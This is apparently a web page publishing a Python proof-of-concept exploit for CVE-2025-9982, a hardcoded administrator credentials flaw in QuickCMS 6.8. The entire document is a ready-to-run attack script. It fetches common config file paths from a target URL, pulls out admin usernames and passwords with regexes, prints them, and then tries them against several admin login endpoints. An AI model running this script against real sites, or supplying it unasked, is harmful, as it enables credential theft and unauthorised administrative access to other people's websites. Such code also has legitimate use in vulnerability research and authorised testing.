CVE-2025-9982 | QuickCMS 6.8 配置文件硬编码管理员凭证漏洞

#!/usr/bin/env python3 """ CVE-2025-9982 PoC - QuickCMS 6.8 Hardcoded Admin Credentials This PoC demonstrates how to extract hardcoded credentials from QuickCMS config files. """ import requests import re import sys def check_quickcms_version(target_url): """Check if target is running QuickCMS and get version""" try: response = requests.get(target_url, timeout=10) # Check for QuickCMS indicators if 'quick' in response.text.lower() or 'quickcms' in response.text.lower(): # Try to find version number version_match = re.search(r'QuickCMS\s*v?([\d.]+)', response.text, re.I) if version_match: return version_match.group(1) return "Unknown" except Exception as e: print(f"[-] Error checking version: {e}") return None def extract_config_file(target_url, config_paths): """Try to extract hardcoded credentials from config files""" credentials = {} for config_path in config_paths: url = target_url.rstrip('/') + '/' + config_path try: response = requests.get(url, timeout=10) if response.status_code == 200: # Look for hardcoded credentials patterns admin_user = re.search(r"['\"](?:admin_username|admin_user|username)['\"]\s*[=:]\s*['\"]([^'\"]+)['\"]", response.text) admin_pass = re.search(r"['\"](?:admin_password|admin_pass|password)['\"]\s*[=:]\s*['\"]([^'\"]+)['\"]", response.text) if admin_user and admin_pass: credentials['username'] = admin_user.group(1) credentials['password'] = admin_pass.group(1) print(f"[+] Found hardcoded credentials in {config_path}") print(f" Username: {credentials['username']}") print(f" Password: {credentials['password']}") return credentials except Exception as e: print(f"[-] Error accessing {config_path}: {e}") return None def try_admin_login(target_url, username, password): """Try to login to admin panel with extracted credentials""" admin_urls = [ target_url.rstrip('/') + '/admin', target_url.rstrip('/') + '/admin.php', target_url.rstrip('/') + '/cms-admin' ] for admin_url in admin_urls: try: # Typical QuickCMS admin login request login_data = { 'login': username, 'password': password, 'action': 'login' } response = requests.post(admin_url, data=login_data, timeout=10, allow_redirects=False) # Check for successful login indicators if response.status_code in [200, 302]: if 'admin' in response.text.lower() or 'dashboard' in response.text.lower() or response.status_code == 302: print(f"[+] Successfully logged in at {admin_url}") return True except Exception as e: continue return False def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-9982-poc.py <target_url>") print("Example: python3 cve-2025-9982-poc.py http://target.com") sys.exit(1) target_url = sys.argv[1] print(f"[*] Checking target: {target_url}") # Common QuickCMS config file paths config_paths = [ 'config.php', 'data/config.php', 'cms/data/config.php', 'includes/config.php', 'admin/config.php' ] # Extract credentials print("[*] Searching for config files with hardcoded credentials...") creds = extract_config_file(target_url, config_paths) if creds: print("\n[*] Attempting to login to admin panel...") if try_admin_login(target_url, creds['username'], creds['password']): print("[+] VULNERABLE: Hardcoded credentials work!") else: print("[-] Credentials found but login failed (may need different endpoint)") else: print("[-] No hardcoded credentials found in common config paths") if __name__ == '__main__': main()